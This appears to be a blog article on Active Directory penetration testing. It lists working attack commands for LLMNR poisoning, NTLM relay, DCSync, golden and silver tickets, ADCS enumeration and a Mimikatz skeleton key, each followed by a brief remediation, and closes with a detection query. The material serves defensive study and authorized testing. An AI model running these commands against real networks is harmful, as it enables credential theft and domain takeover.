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Active Directory (AD) is a prime target for attackers, and understanding its vulnerabilities is crucial for effective defense. This article dives into practical AD pentesting techniques, covering initial access, credential dumping, Kerberos attacks, and remediation strategies—all based on realistic configurations.
Initial Access Techniques
1. LLMNR/NBT-NS Poisoning
Attackers exploit LLMNR (Link-Local Multicast Name Resolution) to intercept hashes.
sudo responder -I eth0 -wrf
Remediation: Disable LLMNR/NBT-NS in Group Policy.
2. SMB/WebDAV Relay Attacks
Relay captured hashes to exploit weak SMB signing.
ntlmrelayx.py -tf targets.txt -smb2support
Remediation: Enforce SMB signing via Microsoft Network Server: Digitally sign communications (always).
3. DHCPv6 Spoofing
Abuse IPv6 to intercept credentials.
mitm6 -d domain.local -i eth0
Remediation: Disable IPv6 or secure DHCPv6.
Enumeration & Credential Dumping
- BloodHound for AD Mapping
Invoke-BloodHound -CollectionMethod All -Domain DOMAIN.LOCAL
- DCSync Attack (Requires Domain Admin privileges)
secretsdump.py domain/user:[email protected]
Remediation: Restrict DCSync to necessary accounts.
Kerberos Attacks
1. Golden Ticket Attack
Forge TGTs with KRBTGT hash.
ticketer.py -nthash <KRBTGT_HASH> -domain-sid <SID> -domain DOMAIN.LOCAL administrator
Remediation: Regularly rotate KRBTGT password (twice).
2. Silver Ticket Attack
Forge service tickets.
ticketer.py -spn cifs/dc.domain.local -nthash <NTLM_HASH> -domain-sid <SID> -domain DOMAIN.LOCAL user
Remediation: Enable AES encryption for Kerberos.
ADCS (Active Directory Certificate Services) Exploits
- ESC1 & ESC8 Vulnerabilities
Certify.exe find /vulnerable
Remediation: Restrict certificate templates and enable strong issuance policies.
Persistence Techniques
- Skeleton Key Attack (Mimikatz)
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"'
Remediation: Enable LSA Protection.
You Should Know:
- Detecting Anomalies with Windows Event Logs
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4769} | Where-Object {$_.Message -match "Ticket Encryption Type: 0x17"} - Securing GPOs
Get-GPO -All | Where-Object { $_.DisplayName -match "Weak Policy" } - Blocking Pass-the-Hash
Enable Restricted Admin Mode for RDP.
What Undercode Say:
Active Directory security requires continuous monitoring, hardening, and adversarial simulation. Regular audits, least privilege enforcement, and disabling legacy protocols (NTLM, LLMNR) are critical. Automation tools like BloodHound, Impacket, and Mimikatz help uncover weaknesses before attackers do.
Expected Output:
- A hardened AD environment with mitigated common attack paths.
- Detection rules for Kerberos anomalies and lateral movement.
- Secure configurations via GPOs and certificate policies.
Prediction:
As AD remains a high-value target, expect increased exploitation of certificate-based attacks (ADCS) and AI-driven privilege escalation techniques. Organizations must adopt Zero Trust and continuous red-teaming to stay ahead.
Relevant URLs:
References:
Reported By: UgcPost 7332445239116259328 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
